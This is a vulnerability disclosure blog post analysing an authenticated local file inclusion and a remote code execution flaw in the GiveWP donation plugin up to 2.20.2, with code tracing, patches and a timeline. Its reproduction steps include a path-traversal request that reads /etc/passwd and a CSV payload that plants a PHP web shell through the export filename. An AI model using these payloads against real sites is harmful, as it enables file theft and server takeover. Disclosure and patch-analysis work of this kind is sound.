Authenticated LFI & RCE on GiveWP - Donation WordPress Plugin <= 2.20.2 (CVE-2022-31475 & CVE-2022-28700)

Authenticated LFI & RCE on GiveWP - Donation WordPress Plugin <= 2.20.2 (CVE-2022-31475 & CVE-2022-28700)

Prologue

GiveWP is one of the popular wordpress plugins to handle fundraising and donation with 100k+ installation. This plugin has main features like setting up donation forms, viewing details of donations/donors and generating a report. There is also other tools feature like import and export donations data.

In this blog post, we will demonstrate two vulnerability that affected GiveWP plugin. The two vulnerability already reported and fixed. It also already assigned CVE-2022-31475 and CVE-2022-28700 by PatchStack. This vulnerability require atleast GiveWP Manager role to exploit.

Vulnerability : LFI

Technical Analysis

On the first step of this vulnerability research, I try to search for "file_get_contents" function call on the code base. One of the interesting code function that call it is located on Give_Batch_Export class function get_file inside give/includes/admin/tools/export/class-batch-export.php :

    protected function get_file() {

        $file = '';

        if ( @file_exists( $this->file ) ) {

            if ( ! is_writable( $this->file ) ) {
                $this->is_writable = false;
            }

            $file = @file_get_contents( $this->file );

        } else {

            @file_put_contents( $this->file, '' );
            @chmod( $this->file, 0664 );

        }

        return $file;
    }

The function is literally will return content of the $this->file variable that already configured on the __construct function of the class :

    public function __construct( $_step = 1, $filename = null ) {

        $upload_dir     = wp_upload_dir();
        $this->filetype = '.csv';

        if ( null === $filename ) {
            $hash           = uniqid();
            $this->filename = "give-{$hash}-{$this->export_type}{$this->filetype}";
        } else {
            $this->filename = $filename;
        }

        $this->file = trailingslashit( $upload_dir['basedir'] ) . $this->filename;

        if ( ! is_writable( $upload_dir['basedir'] ) ) {
            $this->is_writable = false;
        }

        $this->step = $_step;
        $this->done = false;
    }

When doing a traceback call, this get_file function could be called from the function export in the same class :

    public function export() {

        // Set headers
        $this->headers();

        $file = $this->get_file();

        @unlink( $this->file );

        echo $file;

        /**
         * Fire action after file output.
         *
         * @since 1.8
         */
        do_action( 'give_file_export_complete', $_REQUEST );

        give_die();
    }

After doing some tracing, this Give_Batch_Export class and the export function is actually will be called from function give_process_batch_export_form that is located on give/includes/admin/tools/export/export-actions.php :

function give_process_batch_export_form() {

    if ( ! wp_verify_nonce( $_REQUEST['nonce'], 'give-batch-export' ) ) {
        wp_die(
            esc_html__( 'We\'re unable to recognize your session. Please refresh the screen to try again; otherwise contact your website administrator for assistance.', 'give' ),
            esc_html__( 'Error', 'give' ),
            [
                'response' => 403,
            ]
        );
    }

    require_once GIVE_PLUGIN_DIR . 'includes/admin/tools/export/class-batch-export.php';

    /**
     * Fires before batch export.
     *
     * @since 1.5
     *
     * @param string $class Export class.
     */
    do_action( 'give_batch_export_class_include', $_REQUEST['class'] );

    $filename = $_REQUEST['file_name'];

    $export = new $_REQUEST['class']( 1, $filename );
    $export->export();

}

add_action( 'give_form_batch_export', 'give_process_batch_export_form' );

The give_process_batch_export_form function is a callback function that will be called when user perform give_form_batch_export action.

Looking back to the attached code, notice that the code directly passes the $_REQUEST['file_name'] as the $filename parameter to the $_REQUEST['class'] class invoke that we can supply with Give_Batch_Export string.

The setup of $this->file on the class __construct function also doesn't check or sanitize for potential path traversal :

$this->file = trailingslashit( $upload_dir['basedir'] ) . $this->filename;

With this, malicious users that act as GiveWP Manager could use that to leak sensitive local files on the wordpress server.

One Exploit Detail Missing

To be able to exploit this, we need to find a give-batch-export nonce value, since the give_process_batch_export_form function will check the request nonce.

Searching for generation of give-batch-export nonce string on the code base, we find it inside give_do_ajax_export function :

    } else {

        $args = array_merge(
            $_REQUEST,
            [
                'step'        => $step,
                'class'       => $class,
                'nonce'       => wp_create_nonce( 'give-batch-export' ),
                'give_action' => 'form_batch_export',
                'file_name'   => $export->filename,
            ]
        );

        $json_data = [
            'step' => 'done',
            'url'  => esc_url_raw(add_query_arg( $args, admin_url() )),
        ];

    }

    $export->unset_properties( give_clean( $_REQUEST ), $export );
    echo json_encode( $json_data );
    exit;
}

After analyzing, we could receive the nonce function after we successfully try to export donations data.

Steps to Reproduce PoC

  1. Admin Install wordpress site
  2. Admin Install GiveWP Wordpress Plugin
  3. Admin create User B account on wordpress with GiveWP Manager role
  4. User B login to the wordpress site (Delete existing donations entry on GiveWP if exists for sake of testing)
  5. User B insert some test donation data on the wordpress
  6. User B goes to the Export Donations history feature at : http://<wordpress_site>/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=export&type=export_donations
  7. User B clicks the "Generate CSV" button on the export page
  8. User B check the Burp HTTP history and find POST request made to endpoint /wp-admin/admin-ajax.php with post body action=give_do_ajax_export and then copy the nonce value from the response
  9. User B perform this HTTP request and could view content of /etc/passwd :
GET /wp-admin/?class=Give_Batch_Export&nonce=<value_from_step_8>&give_action=form_batch_export&file_name=../../../../../../../../../etc/passwd HTTP/1.1
Host: <wordpress_site>
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Linux"
Referer: http://localhost/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=export&type=export_donations
Cookie: [User B Cookie]

The Patch

The LFI vulnerability already fixed on GiveWP version 2.21.0 . The fix is implemented on give_process_batch_export_form function inside give/includes/admin/tools/export/export-actions.php :

    $filename = basename(sanitize_file_name($_REQUEST['file_name']), '.csv');

The $filename variable is already sanitized and thus cannot be supplied by the path traversal payload.

Vulnerability : RCE

Technical Analysis

On the first step of this vulnerability research, I try to search for "file_put_contents" function call on the code base. Little bit similar to the LFI vulnerability, one of the interesting code function that call it is located on Give_Batch_Export class function stash_step_data inside give/includes/admin/tools/export/class-batch-export.php :

    protected function stash_step_data( $data = '' ) {

        $file  = $this->get_file();
        $file .= $data;
        @file_put_contents( $this->file, $file );

        // If we have no rows after this step, mark it as an empty export.
        $file_rows    = file( $this->file, FILE_SKIP_EMPTY_LINES );
        $default_cols = $this->get_csv_cols();
        $default_cols = empty( $default_cols ) ? 0 : 1;

        $this->is_empty = count( $file_rows ) == $default_cols ? true : false;

    }

Above function will append the supplied $data parameter to the $file that fetched from $this->get_file() function. After doing a traceback call, the stash_step_data is could be called using this code function chaining on the Give_Batch_Export class :

$this->process_step() => $this->print_csv_cols() => $this->stash_step_data( $col_data )

The $col_data is metadata of the donation list that will be converted to CSV rows. Now, we need to find code that could call the Give_Batch_Export class and perform the process_step function. We notice that we could call it using the give_do_ajax_export function inside give/includes/admin/tools/export/export-functions.php. This function is literally the main function to handle the process of batch export of donation via ajax.

function give_do_ajax_export() {

    require_once GIVE_PLUGIN_DIR . 'includes/admin/tools/export/class-batch-export.php';

    parse_str( $_POST['form'], $form );

    $_REQUEST = $form = (array) $form;

    if (
        ! wp_verify_nonce( $_REQUEST['give_ajax_export'], 'give_ajax_export' )
        || ! current_user_can( 'manage_give_settings' )
    ) {
        die( '-2' );
    }

    /**
     * Fires before batch export.
     *
     * @since 1.5
     *
     * @param string $class Export class.
     */
    do_action( 'give_batch_export_class_include', $form['give-export-class'] );

    $step     = absint( $_POST['step'] );
    $class    = sanitize_text_field( $form['give-export-class'] );
    $filename = isset( $_POST['file_name'] ) ? sanitize_text_field( $_POST['file_name'] ) : null;

    /* @var Give_Batch_Export $export */
    $export = new $class( $step, $filename );

    if ( ! $export->can_export() ) {
        die( '-1' );
    }

    if ( ! $export->is_writable ) {
        $json_args = [
            'error'   => true,
            'message' => esc_html__( 'Export location or file not writable.', 'give' ),
        ];
        echo json_encode( $json_args );
        exit;
    }

    $export->set_properties( give_clean( $_REQUEST ) );

    $export->pre_fetch();

    $ret = $export->process_step();
-------------------------- CUTTED HERE ----------------------------------

Notice that we could call an arbitrary class and supply the $filename for the called class. The $filename is not properly sanitized even if it's already using the sanitize_text_field function. Looking at the function docs, this function is not proper to handle file names, thus we could supply the full path of a file using path traversal and write content to arbitrary php file extension.

Looking back to the stash_step_data function, we could literally write the exported donation's CSV rows to any arbitrary file.

One Exploit Detail Missing

Donation data could be manually input from the donation form or we could import it from a csv file. But, every data input from manual form will be sanitized using the custom give_clean function :

function give_clean( $var ) {
    if ( is_array( $var ) ) {
        return array_map( 'give_clean', $var );
    }

    return is_scalar( $var ) ? sanitize_text_field( wp_unslash( $var ) ) : $var;
}

With that sanitization, we could not (or hardly) craft our malicious PHP code. However, input data from the import CSV process are not sanitized, thus we could inject malicious PHP code into one of the donation fields. When a malicious user, in this case, GiveWP Manager, tries to import donation CSV data, the imported data will be stored in the arbitrary file that the user specified and it could be set to the .php file.

Example of malicious import file (payload.csv) :

"Donation ID","Donation Number","Donation Total","Currency Code","Currency Symbol","Donation Status","Donation Date","Donation Time","Payment Gateway","Payment Mode","Form ID","Form Title","Level ID","Level Title","Title Prefix","First Name","Last Name","Email Address","Company Name","Address 1","Address 2","City","State","Zip","Country","Donor Comment","User ID","Donor ID","Donor IP Address"
"1337","1","25","USD","$","Complete","June 2, 2022","13:50","manual","test","1337","Donation Form","3","$25","","<?php if(isset($_REQUEST['c'])) system($_REQUEST['c']) ;?>","asededdasd","user@mail.com","","","","","","","","","1","1","127.0.0.1"

Steps to Reproduce PoC

  1. Admin Install wordpress site
  2. Admin Install GiveWP Wordpress Plugin
  3. Admin create User B account on wordpress with "GiveWP Manager" role
  4. User B login to the wordpress site (Delete existing donations entry on GiveWP if exists for sake of testing)
  5. User B go to http://<wordpress_site>/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=import&importer-type=import_donations to try import a donation
  6. User B chooses the attached payload.csv and uploads it to the field. Uncheck the dry run button, Choose "Enabled" on "Test Mode" and click "Begin Import"
  7. In the next page (Column Mapping), User B clicks "Submit"
  8. After the import success, User B goes to the Export Donations history feature at : http://<wordpress_site>/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=export&type=export_donations
  9. User B turn on BurpSuite and intercept the request
  10. User B clicks the "Generate CSV" button on the export page
  11. User B check the burp http history and find POST request made to endpoint /wp-admin/admin-ajax.php with post body action=give_do_ajax_export and then sent the request to repeater
  12. User B adds file_name=../../../../../../../../../<wordpress base path>/wp-content/uploads/shell.php to the POST body data. (Assume that User B knows the wordpress base path using another vuln or technique) and send the request
  13. User B visits the uploaded shell on http://<wordpress_site>/wp-content/uploads/shell.php?c=id and RCE can be confirmed

The Patch

The RCE vulnerability already fixed on GiveWP version 2.21.0 . The fix is implemented on give_do_ajax_export function inside give/includes/admin/tools/export/export-functions.php :

    $filename = isset( $_POST['file_name'] ) ?
        basename(sanitize_file_name( $_POST['file_name'] ), '.csv') :
        null;

The $filename variable is already sanitized and thus cannot be supplied by the path traversal payload.

Disclosure Timeline

  • 2022-06-03 : Reported both vulnerabilities through Liquid Web Family of Brands Bug Bounty Program
  • 2022-06-16 : Vulnerability fixed on GiveWP version 2.21.0
  • 2022-07-12 : Vulnerability published and assigned CVE by PatchStack
  • 2022-07-15 : Detailed blog post published

Did you find this article valuable?

Support Rafie Muhammad by becoming a sponsor. Any amount is appreciated!